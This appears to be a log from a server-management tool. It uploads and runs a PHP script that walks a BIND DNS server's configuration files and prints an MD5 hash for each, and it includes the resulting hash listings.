MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:35:59: Establishing a connection
2026-04-23 17:35:59: 

PUT: /tmp/pkp805241

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:35:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp805241; rm /tmp/pkp805241'

2026-04-23 17:35:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:36:01: Establishing a connection
2026-04-23 17:36:01: 

PUT: /tmp/pkp974857

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
